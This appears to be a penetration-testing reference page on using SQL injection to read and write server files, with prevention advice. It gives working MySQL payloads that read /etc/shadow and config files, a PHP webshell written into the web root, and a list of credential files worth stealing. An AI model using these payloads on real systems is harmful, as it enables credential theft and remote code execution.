Skip to content
criticalCVSS 9.1CWE-89A03:2021 – Injection

File Read and Write

Turning a database query into filesystem access: reading configuration and credentials, and writing a webshell into a served directory.

Overview

Filesystem access widens an injection from "the data in this database" to "anything the database process can read or write". That typically includes application source, configuration files with credentials to other systems, private keys, and — if a web-served directory is writable — a path to code execution.

Every engine gates this behind a privilege, and most add a second configuration control on top. Check both before spending time here; a failed read usually means a missing privilege rather than a missing file, and the two are often indistinguishable from the error alone.

What Each Engine Requires

EngineReadWriteGated by
MySQLLOAD_FILE()INTO OUTFILE / DUMPFILEFILE privilege + secure_file_priv
PostgreSQLpg_read_file() / COPY FROMCOPY TO / lo_export()superuser or pg_read_server_files / pg_write_server_files
MSSQLOPENROWSET(BULK) / BULK INSERTOLE automation / xp_cmdshellADMINISTER BULK OPERATIONS or bulkadmin; sysadmin for write
OracleUTL_FILE / external tablesUTL_FILEEXECUTE on UTL_FILE + a DIRECTORY object
SQLiteNot possibleATTACH DATABASEStacked queries + writable path

Reading Files

SQL
-- Check feasibility first. An empty string means unrestricted;
-- NULL means file access is disabled entirely.
SELECT @@secure_file_priv;
SELECT @@datadir;

-- Read
' UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL-- -
' UNION SELECT NULL,LOAD_FILE('/var/www/html/config.php'),NULL-- -

-- LOAD_FILE returns NULL for a missing file, a permission failure,
-- OR a secure_file_priv violation. The three are indistinguishable.
-- It also returns NULL for files larger than max_allowed_packet.

-- Hex-encode to survive binary content and display mangling
' UNION SELECT NULL,HEX(LOAD_FILE('/etc/shadow')),NULL-- -

Files Worth Reading

Prioritise files that expand access rather than merely confirming the read works.

Application configuration — almost always the highest value, because it holds credentials to the database you are already in plus API keys, mail credentials, and secrets for other services: config.php, .env, wp-config.php, settings.py, application.properties, appsettings.json, web.config, database.yml.

Database configurationmy.cnf, pg_hba.conf, and the PostgreSQL .pgpass, which may hold plaintext credentials.

Credentials and keys~/.ssh/id_rsa, ~/.aws/credentials, ~/.docker/config.json, Kubernetes service-account tokens at /var/run/secrets/kubernetes.io/serviceaccount/token.

Source code — to find further vulnerabilities and hard-coded secrets, and to identify which framework you are against.

System context/etc/passwd to confirm the read works and enumerate users; /proc/self/environ for environment variables, which often contain injected secrets; /proc/self/cmdline for the running command line.

In containers, /proc/self/environ is frequently the single most productive read: modern deployments inject secrets as environment variables.

Writing Files

Writing is the more serious capability, because a file written into a directory the web server executes is immediate code execution.

Requirements are cumulative: the write privilege, a path the database process can write to, and — for a webshell — that path being both inside the document root and served by an interpreter.

Finding the document root is often the hard part. Read the web server configuration, trigger a path-disclosing error, or check @@datadir and work outwards.

Write primitives

SQL
-- OUTFILE adds row and column separators — fine for text,
-- corrupts binaries.
' UNION SELECT NULL,'<?php system($_GET[0]); ?>',NULL
  INTO OUTFILE '/var/www/html/s.php'-- -

-- DUMPFILE writes raw bytes with no formatting. Required for
-- binaries, and cleaner for a shell.
' UNION SELECT 0x3c3f7068702073797374656d28245f4745545b305d293b203f3e
  INTO DUMPFILE '/var/www/html/s.php'-- -

-- Constraints:
--   * INTO OUTFILE refuses to overwrite an existing file
--   * DUMPFILE writes a single row only
--   * both are subject to secure_file_priv
--   * the mysqld OS user must be able to write the target directory,
--     which on a properly configured host it cannot

Operational Care

File writes are the point at which an authorized test starts leaving artefacts on the client's systems.

  • Get explicit authorization for write testing. Read-only scope does not cover dropping files.
  • Use unique, obvious filenamespentest-<date>-<initials>.php, not s.php. Anyone who finds it should immediately know what it is.
  • Restrict the shell. If you must drop one, restrict it to a token you hold rather than leaving system($_GET[0]) reachable by anyone who guesses the path. You have created a vulnerability more serious than the one you are reporting.
  • Record every path and include the list in your report.
  • Remove them before you finish. INTO OUTFILE files cannot be overwritten and often cannot be deleted through the database — you may need the client to remove them.
  • Never write into a production application's code directories without agreement; a deployment or integrity check may pick it up and trigger an incident.

Prevention

Parameterise to remove the injection. Then remove the capability independently, so that a future injection cannot reach the filesystem:

  • MySQL: set secure_file_priv=NULL; never grant FILE to an application account. It is a global privilege, not per-database.
  • PostgreSQL: never run applications as superuser; do not grant pg_read_server_files, pg_write_server_files, or pg_execute_server_program.
  • MSSQL: do not grant bulkadmin or ADMINISTER BULK OPERATIONS; keep OLE automation disabled; do not connect as sysadmin.
  • Oracle: revoke EXECUTE ON UTL_FILE from PUBLIC; audit DIRECTORY objects and who can read them.
  • All: run the database as an unprivileged OS user that cannot write to the web root, and mount the application's code read-only. Even a full file-write primitive is inert if there is nowhere useful to write.